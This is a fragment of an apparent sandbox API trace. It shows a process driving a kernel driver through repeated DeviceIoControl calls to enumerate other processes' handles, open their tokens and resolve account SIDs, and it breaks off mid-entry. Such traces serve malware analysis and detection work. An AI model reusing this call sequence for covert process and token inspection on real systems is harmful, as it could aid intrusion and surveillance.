hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.626] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.626] PsAcquireProcessExitSynchronization () returned 0x0 [0123.626] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.626] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0123.626] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.626] PsReleaseProcessExitSynchronization () returned 0x2 [0123.626] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.626] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.626] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0123.626] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.626] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.626] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.626] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.626] PsAcquireProcessExitSynchronization () returned 0x0 [0123.626] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.627] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0123.627] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.627] PsReleaseProcessExitSynchronization () returned 0x2 [0123.627] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.627] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.627] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0123.627] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.627] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0123.627] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.627] PsAcquireProcessExitSynchronization () returned 0x0 [0123.627] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.627] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0123.627] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.627] PsReleaseProcessExitSynchronization () returned 0x2 [0123.627] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.627] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.627] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0123.627] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.627] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.627] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0123.627] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.627] PsAcquireProcessExitSynchronization () returned 0x0 [0123.627] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.627] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0123.627] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.627] PsReleaseProcessExitSynchronization () returned 0x2 [0123.627] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.627] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.628] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0123.628] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.628] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.628] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.628] PsAcquireProcessExitSynchronization () returned 0x0 [0123.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.628] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.628] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.628] PsReleaseProcessExitSynchronization () returned 0x2 [0123.628] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.628] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.628] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.628] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.628] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0123.628] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.628] PsAcquireProcessExitSynchronization () returned 0x0 [0123.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.628] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0123.628] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.628] PsReleaseProcessExitSynchronization () returned 0x2 [0123.628] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.628] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.628] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0123.628] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.628] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.628] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.628] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.628] PsAcquireProcessExitSynchronization () returned 0x0 [0123.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.629] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.629] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.629] PsReleaseProcessExitSynchronization () returned 0x2 [0123.629] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.629] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.629] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.629] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.629] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.629] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.629] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.629] PsAcquireProcessExitSynchronization () returned 0x0 [0123.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880044355d0) [0123.629] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0123.629] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.629] PsReleaseProcessExitSynchronization () returned 0x2 [0123.629] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0123.629] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.629] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0123.629] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.629] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.629] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0123.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.629] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0123.629] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.629] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x83 [0123.629] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.630] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.630] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.630] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.630] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.631] CloseHandle (hObject=0xc8) returned 1 [0123.631] CloseHandle (hObject=0xc0) returned 1 [0123.631] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.631] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.631] PsAcquireProcessExitSynchronization () returned 0x0 [0123.631] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0) [0123.631] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0123.631] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.632] PsReleaseProcessExitSynchronization () returned 0x2 [0123.632] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0123.632] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.632] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0123.632] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.632] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.632] PsAcquireProcessExitSynchronization () returned 0x0 [0123.632] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0) [0123.632] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0123.632] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.632] PsReleaseProcessExitSynchronization () returned 0x2 [0123.632] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0123.632] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.632] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0123.632] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0123.632] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.632] PsAcquireProcessExitSynchronization () returned 0x0 [0123.632] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880044355d0) [0123.632] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0123.632] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.632] PsReleaseProcessExitSynchronization () returned 0x2 [0123.632] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0123.632] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.632] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0123.632] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.632] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.633] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0123.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.633] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0123.633] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.633] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0123.633] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.633] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.633] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.633] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.633] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.634] CloseHandle (hObject=0xc8) returned 1 [0123.634] CloseHandle (hObject=0xc0) returned 1 [0123.634] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0123.634] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.634] PsAcquireProcessExitSynchronization () returned 0x0 [0123.634] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.634] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0123.635] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.635] PsReleaseProcessExitSynchronization () returned 0x2 [0123.635] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.635] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.635] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0123.635] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0123.635] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.635] PsAcquireProcessExitSynchronization () returned 0x0 [0123.635] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.635] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0123.635] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.635] PsReleaseProcessExitSynchronization () returned 0x2 [0123.635] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.635] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.635] ObfDereferenceObject 